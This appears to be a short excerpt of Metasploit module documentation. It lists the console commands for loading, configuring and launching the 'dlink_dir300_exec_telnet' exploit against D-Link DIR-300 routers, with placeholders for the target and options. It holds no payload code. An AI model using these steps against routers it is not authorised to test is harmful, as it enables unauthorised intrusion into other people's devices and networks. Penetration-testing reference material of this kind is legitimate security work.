To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/dlink_dir300_exec_telnet
msf exploit(dlink_dir300_exec_telnet) > show targets
...targets...
msf exploit(dlink_dir300_exec_telnet) > set TARGET < target-id >
msf exploit(dlink_dir300_exec_telnet) > show options
...show and set options...
msf exploit(dlink_dir300_exec_telnet) > exploit
